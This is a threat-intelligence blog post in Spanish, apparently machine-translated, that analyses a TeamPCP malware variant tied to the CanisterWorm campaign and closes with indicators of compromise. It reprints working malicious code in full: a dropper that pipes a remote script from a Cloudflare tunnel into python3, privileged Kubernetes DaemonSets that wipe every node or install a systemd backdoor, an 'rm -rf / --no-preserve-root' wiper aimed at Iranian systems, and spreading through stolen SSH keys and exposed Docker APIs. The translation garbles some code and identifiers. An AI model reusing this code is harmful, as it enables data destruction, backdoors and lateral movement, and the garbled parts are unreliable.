Hemos descubierto una nueva carga útil en el arsenal de TeamPCP, y esta no se limita a robar credenciales o instalar puertas traseras. Borra clústeres completos de Kubernetes.
El script utiliza exactamente el mismo contenedor ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que documentamos en el Campaña CanisterWorm. El mismo C2, el mismo código de puerta trasera, el mismo /tmp/pglog ruta de descarga. El movimiento lateral nativo de Kubernetes a través de DaemonSets concuerda con el modus operandi conocido de TeamPCP, pero esta variante añade algo que no habíamos visto antes en ellos: una carga destructiva con objetivos geopolíticos dirigida específicamente a sistemas iraníes.
Resumen general
Dado que la entrada del blog contiene muchos detalles técnicos, a continuación ofrecemos un resumen de las observaciones más importantes que hemos hecho:
- 🐙 El mismo cartucho ICP C2 que el CanisterWorm (
tdtqy-oyaaa-aaaae-af2dq-cai) - 🎯 La carga útil comprueba la zona horaria y la configuración regional para identificar los sistemas iraníes
- ☸️ En Kubernetes: implementa DaemonSets con privilegios en todos los nodos, incluido el plano de control
- 💀 Los nodos iraníes se borran y se reinician de forma forzada a través de un contenedor llamado
kamikaze - 🔒 En los nodos no iraníes se instala la puerta trasera CanisterWorm como servicio de systemd
- 💀 Los nodos iraníes se borran y se reinician de forma forzada a través de un contenedor llamado
- 💣 Los servidores iraníes que no utilizan K8s obtienen
rm -rf / --no-preserve-root - 🐘 Persistencia disfrazada de herramientas de PostgreSQL:
pglog,pg_state,monitor interno - 🔄 Se ha observado que varios dominios Cloudflare se alternan como infraestructura de distribución de carga útil
- 🟪 La última variante incorpora movimientos laterales a través de la red
- 🔑 La propagación de SSH a través de claves robadas y el análisis de registros de autenticación
- 🐳 Aprovecha las API de Docker expuestas en el puerto 2375 en toda la subred local
El decorador
Al principio, observamos que simplemente apuntaba a https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , que contenía una carga útil única. Posteriormente, dividió la carga útil en dos archivos, como se puede ver a continuación.
#!/usr/bin/env bash
set -euo pipefail
if ! command -v kubectl &>/dev/null; then
ARCH="amd64"
[[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
chmod +x /tmp/kubectl
export PATH="/tmp:$PATH"
fi
PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -
rm -- "$0"Como puedes ver, se está descargando kubectl si aún no está instalado. A continuación, se descarga kube.py del mismo servidor, y lo ejecuta antes de borrarse a sí mismo. El código realmente interesante se encuentra ahí. A continuación se muestran las últimas líneas del script, que describen claramente la finalidad del código, y que analizaremos con más detalle:
if __name__ == "__main__": if is_k8s(): if is_iran():
deploy_destructive_ds() else:
deploy_std_ds() else: if is_iran():
poison_pill()
sys.exit(1)Cómo elige su objetivo
Lo primero que hace la carga útil es determinar dónde se está ejecutando. Dos comprobaciones:
def is_k8s():
return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \
"KUBERNETES_SERVICE_HOST" en os.environDetección estándar de pods de Kubernetes. A cada pod se le asigna una cuenta de servicio de forma predeterminada.
Y esto:
def is_iran():
tz = ""
if os.path.exists("/etc/timezone"): with open("/etc/timezone", "r") as f:
tz = f.read().strip() else:
try:
tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
stderr=subprocess.DEVNULL).decode().strip()
except:
pass
lang = os.environ.get("LANG", "") return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in langComprueba la zona horaria y la configuración regional del sistema. Si el equipo está configurado para Irán (Asia/Teherán, Irán, o fa_IR), la carga útil sigue una trayectoria muy diferente.
Cuatro caminos, un guion
El árbol de decisión es sencillo y contundente:
- Kubernetes + Irán: Implementar un DaemonSet que borre todos los nodos del clúster
- Kubernetes y otros entornos: implementar un DaemonSet que instale la puerta trasera CanisterWorm en todos los nodos
- Sin Kubernetes + Irán:
rm -rf / --no-preserve-root - Si no hay Kubernetes ni ninguna otra opción: Salir. No ocurre nada.
El limpiaparabrisas: «kamikaze»
El DaemonSet destinado a Irán se llama proveedor de alojamiento - Irán. El contenedor que hay en su interior se llama kamikaze. Desde luego, no es nada sutil.
def deploy_destructive_ds():
ds_name = "host-provisioner-iran"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: kamikaze
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
chroot /mnt/host reboot -f
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())El DaemonSet monta el sistema de archivos raíz del host en /mnt/host, elimina todo lo que hay en el nivel superior y, a continuación, fuerza el reinicio. Como se trata de un DaemonSet con tolerancias: [operador: Exists], se programa en todos los nodos del clúster, incluido el plano de control. Uno kubectl apply y todo el clúster queda inutilizado.
La ruta de persistencia
En el caso de los objetivos no iraníes, el DaemonSet (host-provisioner-std) es menos llamativo, pero más útil desde el punto de vista operativo. Instala la puerta trasera CanisterWorm en cada nodo y la registra como un servicio de systemd:
def deploy_std_ds():
ds_name = "host-provisioner-std"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: provisioner
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
[Unit]
Description=System Monitor
After=network.target
[Service]
ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF_UNIT
chroot /mnt/host systemctl daemon-reload
chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
sleep infinity
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())La puerta trasera es la misma que documentamos en la entrada sobre CanisterWorm. Cada 50 minutos consulta el contenedor ICP en busca de una URL binaria, descarga y ejecuta lo que se le indique. El youtube[.]com El interruptor de emergencia sigue estando presente.
La «cláusula de protección»
En el caso de los sistemas iraníes que no utilizan Kubernetes, el enfoque es más rudimentario:
def poison_pill():
cmd = "rm -rf / --no-preserve-root"
if os.getuid() == 0:
os.system(cmd)
else:
os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")Si tiene privilegios de root, borra el sistema. Si no es así, intenta ejecutar «sudo» sin contraseña y, si no funciona, lo intenta de todos modos. Incluso sin privilegios de root, destruirá todo lo que el usuario tenga.
Por qué esto importa
TeamPCP figura como un actor malicioso nativo de la nube desde finales de 2025, y ataca API de Docker mal configuradas, clústeres de Kubernetes y canalizaciones de CI/CD. Su modus operandi (identificación de entornos, ramificaciones específicas de Kubernetes) se ha mantenido constante. Pero el Trivy y la campaña CanisterWorm demostraron que podían operar a escala de cadena de suministro, y esta carga útil demuestra que están preparados para ser destructivos cuando lo deseen.
Qué hay que tener en cuenta
Comprueba si hay DaemonSets en kube-system que no has creado:
kubectl get ds -n kube-systemBusca proveedor de alojamiento - Irán o host-provisioner-std. Comprueba también cualquier DaemonSet que monte hostPath: / con un contexto de seguridad privilegiado. Esa combinación nunca debería aparecer fuera de agentes a nivel de infraestructura, como el propio kubelet.
En el lado del servidor, comprueba lo siguiente:
- Un servicio de systemd llamado
monitor interno(systemctl status internal-monitor) - Archivos en
/var/lib/svc_internal/runner.py - Procesos denominados
pglogES/tmp/ - Conexiones salientes a
icp0[.]iodominios
Actualización: Ahora se está propagando
Acaba de aparecer una tercera versión de la carga útil, alojada en https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py La misma puerta trasera del contenedor ICP, el mismo programa de borrado iraní, pero este no necesita Kubernetes. Se propaga por sí solo.
Las versiones anteriores utilizaban DaemonSets para desplazarse por el clúster. Esta variante prescinde por completo de ellos y los sustituye por dos métodos de movimiento lateral: el robo de claves SSH y el aprovechamiento de API de Docker expuestas. Además, analiza la subred local /24 en busca de nuevos objetivos.
Así es como encuentra los equipos a los que atacar:
def get_accepted_targets():
targets = {}
for path in ["/var/log/auth.log", "/var/log/secure"]:
if os.path.exists(path):
try:
with open(path, "r") as f:
for line in f:
if "Accepted" in line:
match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
if match:
user, ip = match.groups()
if ip not in targets: targets[ip] = []
if user not in targets[ip]: targets[ip].append(user)
except: pass
return targetsAnaliza /var/log/auth.log y /var/log/secure para los inicios de sesión SSH correctos, extrayendo tanto el nombre de usuario como la IP de origen. Estos se convierten en pares de propagación específicos. Para cualquier IP que encuentre en la subred y que no figure en los registros de autenticación, recurre a intentar root, ubuntu, administrador, y ec2-user.
A continuación, recopila todas las claves privadas SSH que encuentra:
keys = []
ssh_base = os.path.expanduser("~/.ssh") for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
p = os.path.join(ssh_base, t)
if os.path.exists(p):
keys.append(p)Para cada objetivo, comprueba dos puertos. El puerto 22 se utiliza para la propagación SSH:
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
"-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
f"echo {b64_logic} | base64 -d | bash"]El puerto 2375 aprovecha la vulnerabilidad de la API de Docker, creando un contenedor con privilegios en el que se monta el directorio raíz del host:
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
"HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})Ambas opciones ofrecen lo mismo get_remote_logic() código malicioso, que comprueba la zona horaria de Irán en el servidor remoto. Los objetivos iraníes son eliminados, mientras que el resto recibe el pgmon.py puerta trasera instalada como servicio de systemd.
El limpiaparabrisas en sí ha cambiado. Las versiones anteriores utilizaban rm -rf / --no-preserve-root en hosts que no son K8s, mientras que la variante DaemonSet utilizada find / -maxdepth 1 ... -exec rm -rf {} + con un reinicio forzado. Esta versión se basa en el encontrar enfoque con reiniciar -f en todos los ámbitos:
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -fEsto está sacado directamente de una publicación anterior de TeamPCP proxy.sh y pcpcat.py herramientas con las que buscaban API de Docker expuestas y difundían claves SSH por las subredes. La diferencia es que aquellas herramientas eran scripts independientes para la creación de infraestructuras. Esta, en cambio, lleva incorporados la puerta trasera CanisterWorm y el programa de borrado Iran.
Otras novedades con respecto a las versiones anteriores: el nombre del servicio ha pasado de monitor interno con pgmonitor, la ruta de instalación se ha cambiado de /var/lib/svc_internal/ con /var/lib/pgmon/, y la descripción de systemd es ahora «Servicio de supervisión de Postgres». El camuflaje de PostgreSQL es cada vez más coherente.
Indicadores de Compromiso
Red
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io(Contenedor ICP C2 de entrega secreta)https://souls-entire-defined-routes.trycloudflare[.]com/(entrega de la carga útil, primero)https://investigation-launches-hearings-copying.trycloudflare[.]com/(entrega de la carga útil, segundo)https://championships-peoples-point-cassette.trycloudflare[.]com(entrega de la carga útil, tercera)
Kubernetes
- DaemonSet
proveedor de alojamiento - IránESkube-system - DaemonSet
host-provisioner-stdESkube-system - Nombres de contenedores:
kamikaze,proveedor
Host
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Servicio de Systemd:
pgmonitor(Descripción: «Servicio de monitorización de Postgres») - Servicio de Systemd:
monitor interno
Indicadores de movimiento lateral
- Conexiones SSH salientes con
StrictHostKeyChecking=nodesde equipos comprometidos - Conexiones salientes al puerto 2375 (API de Docker) a través de la subred local
- Contenedores Alpine con privilegios creados a través de la API de Docker sin autenticación con
hostPath: /montaje con encadernación
... La noticia sigue en desarrollo. Estén atentos a las novedades.

